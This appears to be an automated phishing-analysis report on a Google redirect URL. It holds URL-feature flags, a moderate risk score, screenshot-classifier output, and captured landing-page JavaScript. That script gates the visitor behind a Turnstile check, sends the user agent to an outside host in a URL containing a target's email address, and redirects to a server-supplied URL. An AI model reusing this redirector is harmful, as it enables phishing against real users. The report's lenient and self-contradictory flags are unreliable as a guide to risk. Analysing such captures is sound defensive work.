Windows Analysis Report
https://www.google.at/url?sa==ChR6Fb4oMA7qoNPeAF0HryTWGOi&rct=mCcPfNgQLHn7TqSCLwLAghdNeRqdmhaOmrXNGpkofpekJnfvmVMTgxKB7tJBUVJOPR&sa=t&url=amp/joister.net/tt/ttt/NnDmPaDN5vfTnmu2pfF1Y4Kbkrm/aW5mb0BhY2FnbG9iYWwuY29t

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://www.google.at

{
    "risk_score": 5,
    "reasoning": "The script contains a mix of behaviors, some of which are low-risk (e.g., CAPTCHA integration) and others that are moderately risky (e.g., sending encrypted user agent data to an external domain). The overall behavior suggests potential data collection or redirection, but without clear malicious intent. Further review may be necessary to determine the full context and purpose of the script."
}

    var verifyCallback_CF = function (response) {
      if (response && response.length > 10) {
        sendRequest(); // Only send the request after CAPTCHA is solved
      }
    };

    window.onloadTurnstileCallback = function () {
      turnstile.render("#turnstileCaptcha", {
        sitekey: "0x4AAAAAAA4FpD7uVAQN4KLZ", 
        callback: verifyCallback_CF,
      });
    };

    function hh2(encryptedText, shift) {
      let decryptedText = "";
      for (let i = 0; i < encryptedText.length; i++) {
        let c = encryptedText[i];
        if (c.match(/[a-z]/i)) {
          let code = encryptedText.charCodeAt(i);
          if ((code >= 65) && (code <= 90)) {
            c = String.fromCharCode(((code - 65 - shift + 26) % 26) + 65);
          } else if ((code >= 97) && (code <= 122)) {
            c = String.fromCharCode(((code - 97 - shift + 26) % 26) + 97);
          }
        }
        decryptedText += c;
      }
      return decryptedText;
    }

    function Encrypt(text, publicKey) {
      console.log('encrypt with public key:', publicKey);
      return text; 
    }

    let sx = "https://moderntoolbc.org/?alqrdsrq&qrc=info@acaglobal.com";

    const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCJBwcY8t0AqPquU+Ah1
    R0EPWlcD5XSXhOEe00844TkiGLFHnMWQEugh0zYh/kgrw8hv1ifOmf4Jrkis3tlW
    qpIO2U9Nle23D1VKpxZSxRyYTbnoyq3lRcqY5txOJKdviR9fA9wPidS6KTXhX2xq
    wq1jjYvgHtntEGYwK6Lzm6Q8jTjfV7ICqnV74GTKnPN7VMDKsS2+Dcf2Y2IoYY1o
    NM7nWPKFeVUmkqFMowkdBmGJHL4UqRcxbhiRX3AAzzdQvbQg7OQxYjbKak23IvDN
    1ia9SsXQyo5H/XnfXB2Nb9sNayO5sV+hDmBRlujtm1+maqGMJUXZeVHL81Q7O22a
    WQIDAQAB
    -----END PUBLIC KEY-----`;

    function sendRequest() {
      const userAgent = navigator.userAgent;
      const EncryptedUserAgent = Encrypt(userAgent, PUBLIC_KEY);
      console.log('Sending request with encrypted user-agent:', EncryptedUserAgent);
      
      let xhr = new XMLHttpRequest();
      xhr.open('GET', sx, true);
      xhr.setRequestHeader("accept", "application/json");
      xhr.setRequestHeader("qrc-auth", EncryptedUserAgent);

      xhr.onreadystatechange = function() {
        if (xhr.readyState === XMLHttpRequest.DONE) {
          if (xhr.status === 200) {
            const cc = JSON.parse(xhr.responseText);
            if (cc.url) {
              window.location = cc.url;
            } else {
              document.body.innerHTML = cc.error ? cc.error : 'ACCESS DENIED';
            }
          } else {
            document.body.innerHTML = 'CONNECTION TO HOST FAILED';
          }
        }
      };
      xhr.send();
    }
  

{
  "contains_trigger_text": true,
  "trigger_text": "Please stand by, while we are checking if the site connection is secure\nWe need to review the security of your connection before proceeding.",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "brands": [
    "Cloudflare"
  ]
}